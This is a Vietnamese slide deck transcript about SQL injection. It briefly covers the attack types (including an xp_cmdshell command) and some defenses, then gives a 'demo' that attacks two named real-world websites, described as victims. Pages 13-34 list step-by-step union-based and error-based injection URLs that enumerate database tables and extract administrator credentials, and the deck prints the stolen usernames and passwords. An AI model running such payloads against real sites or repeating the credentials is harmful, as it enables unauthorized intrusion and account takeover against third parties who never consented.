sql injection demo - it-slideshares.blogspot.com

34
SQL INJECTION • SQL Injection là gì? • Các dạng tấn công bằng SQL Injection. • Cách phòng tránh SQL Injection. • Quy trình thực hiện. • Demo

Upload: phanleson

Post on 23-Jun-2015

4.483 views

Category:

Education


2 download

DESCRIPTION

more from http://it-slideshares.blogspot.com and japanese-zen-garden.blogspot.com

TRANSCRIPT

Page 1: Sql injection   demo - it-slideshares.blogspot.com

SQL INJECTION

• SQL Injection là gì?

• Các dạng tấn công bằng SQL Injection.

• Cách phòng tránh SQL Injection.

• Quy trình thực hiện.

• Demo

Page 2: Sql injection   demo - it-slideshares.blogspot.com

Tổng Quan

• SQL Injection là môt ki thuât cho phep nhưng ke tấn công thi hành các câu lệnh truy vấn SQL bất hơp pháp bằng cách lơi dung lô hổng trong việc kiêm tra dư liệu nhâp tư các ưng dung web.

• Cho phep ke tấn công co toàn quyên, hiệu chinh... trên cơ sơ dư liệu cua ưng dung.

• Lôi này thương xay ra trên các ưng dung web co dư liệu đươc quan li bằng các hệ quan tri CSDL như SQL Server, Oracle, DB2, Sysbase.

Page 3: Sql injection   demo - it-slideshares.blogspot.com

Các dạng tấn công

• Co bốn dạng thông thương bao gồm:

1. Vươt qua kiêm tra lúc đăng nhâp (authorization bypass).

2. Sử dung câu lện SELECT.

3. Sử dung câu lệnh INSERT.

4. Sử dung các stored-procedures [2], [3].

Page 4: Sql injection   demo - it-slideshares.blogspot.com

Authorization bypass

• Với dạng tấn công này, tin tặc co thê dễ dàng vươt qua các trang đăng nhâp nhơ vào lôi khi dùng các câu lệnh SQL thao tác trên cơ sơ dư liệu cua ưng dung web.

Page 5: Sql injection   demo - it-slideshares.blogspot.com

Sử dung câu lện SELECT

• Dạng tấn công này phưc tạp hơn. Đê thực hiện đươc kiêu tấn công này, ke tấn công phai co kha năng hiêu và lơi dung các sơ hơ trong các thông báo lôi tư hệ thống đê dò tìm các điêm yếu khơi đầu cho việc tấn công.

Page 6: Sql injection   demo - it-slideshares.blogspot.com

Sử dung câu lệnh INSERT

• Thông thương các ưng dung web cho phep ngươi dùng đăng ki môt tài khoan đê tham gia.

• Chưc năng không thê thiếu là sau khi đăng ki thành công, ngươi dùng co thê xem và hiệu chinh thông tin cua mình.

• SQL injection co thê đươc dùng khi hệ thống không kiêm tra tinh hơp lệ cua thông tin nhâp vào.

Page 7: Sql injection   demo - it-slideshares.blogspot.com

Stored-procedures• Việc tấn công bằng stored-procedures sẽ

gây tác hại rất lớn nếu ưng dung đươc thực thi với quyên quan tri hệ thống 'sa'.

• Vi du, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư muc trên ổ đia C:\ cài đặt server. Việc phá hoại kiêu nào tuỳ thuôc vào câu lệnh đằng sau cmd.exe.

Page 8: Sql injection   demo - it-slideshares.blogspot.com

Cách phòng tránh

• Kiêm soát chặt chẽ dư liệu nhâp vào:• Thiết lâp cấu hình an toàn cho hệ quan tri

cơ sơ dư liệu

• Sử dung Javascript đê hiệu chinh các xâu ngươi dùng nhâp vào tư client.

• Dùng thu tuc lưu trư (store procedure).

• Tạo xâu truy vấn chuẩn trên server.

• Dùng PHP môt cách đơn gian

Page 9: Sql injection   demo - it-slideshares.blogspot.com

Quy trình thực hiện

• Tìm kiếm muc tiêu• Kiêm tra chô yếu cua trang web.• Xác đinh tên cua các column trong table.• Nhân output cua câu query.• Nhân dư liệu qua ‘database using ODBC

error message‘.• Thu thâp các dư liệu quan trọng.• Thay đổi dư liệu (Update/Insert) cua CSDL

Page 10: Sql injection   demo - it-slideshares.blogspot.com

Demo

• Tool sử dung:1. Add-on cho firefox: HackBar 1.4.2

2. http://gdataonline.com/

3. Web Admin Finder v2.0

• Victim:1. http://xaydungchuyennghiep.com/

2. http://remminhquan.com/

Page 11: Sql injection   demo - it-slideshares.blogspot.com

Muc đich

• Khai thác lôi cua 2 website này.

• Lấy đươc username, password cua ngươi quan tri.

Page 12: Sql injection   demo - it-slideshares.blogspot.com

http://xaydungchuyennghiep.com

• Giao diện chinh:

Page 13: Sql injection   demo - it-slideshares.blogspot.com

Khai thác lôi

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=163'

Page 14: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=163 order by [n]--

Page 15: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=163 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--

Page 16: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--

Page 17: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--

Page 18: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()--

Page 19: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_schema=database()--

Page 20: Sql injection   demo - it-slideshares.blogspot.com

• http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select 1,concat(username, 0x2f, password),3,4,5,6,7,8,9,10,11,12,13 from admin--

Page 21: Sql injection   demo - it-slideshares.blogspot.com

Lấy username, password

• Lấy đươc tất ca username và password cua nhưng ngươi quan tri hệ thống.

• Thực hiện quá trình đăng nhâp.

Page 23: Sql injection   demo - it-slideshares.blogspot.com

• Username: thang

• Password: Phat6

Page 24: Sql injection   demo - it-slideshares.blogspot.com

http://remminhquan.com

• Giao diện chinh:

Page 25: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62'

Page 26: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62 and 1= convert(int,(select top 1 table_name from information_schema.tables))--sp_password

Page 27: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 table_name from information_schema.tables))--sp_password

Page 28: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 column_name from information_schema.columns where table_name=('tblAdmins')))--sp_password

Page 29: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 column_name from information_schema.columns where table_name=('tblAdmins') and column_name not in ('id')))--sp_password

Page 30: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 column_name from information_schema.columns where table_name=('tblAdmins') and column_name not in ('id','UserFullName')))--sp_password

Page 31: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 column_name from information_schema.columns where table_name=('tblAdmins') and column_name not in ('id','UserFullName','UserName')))--sp_password

Page 32: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 UserName from tblAdmins))--sp_password

Page 33: Sql injection   demo - it-slideshares.blogspot.com

• http://remminhquan.com/index.asp?mod=mausp&idsp=62) and 1= convert(int,(select top 1 Userpass from tblAdmins))--sp_password

Page 34: Sql injection   demo - it-slideshares.blogspot.com

Lấy username, password

• Username: admin

• Password: 123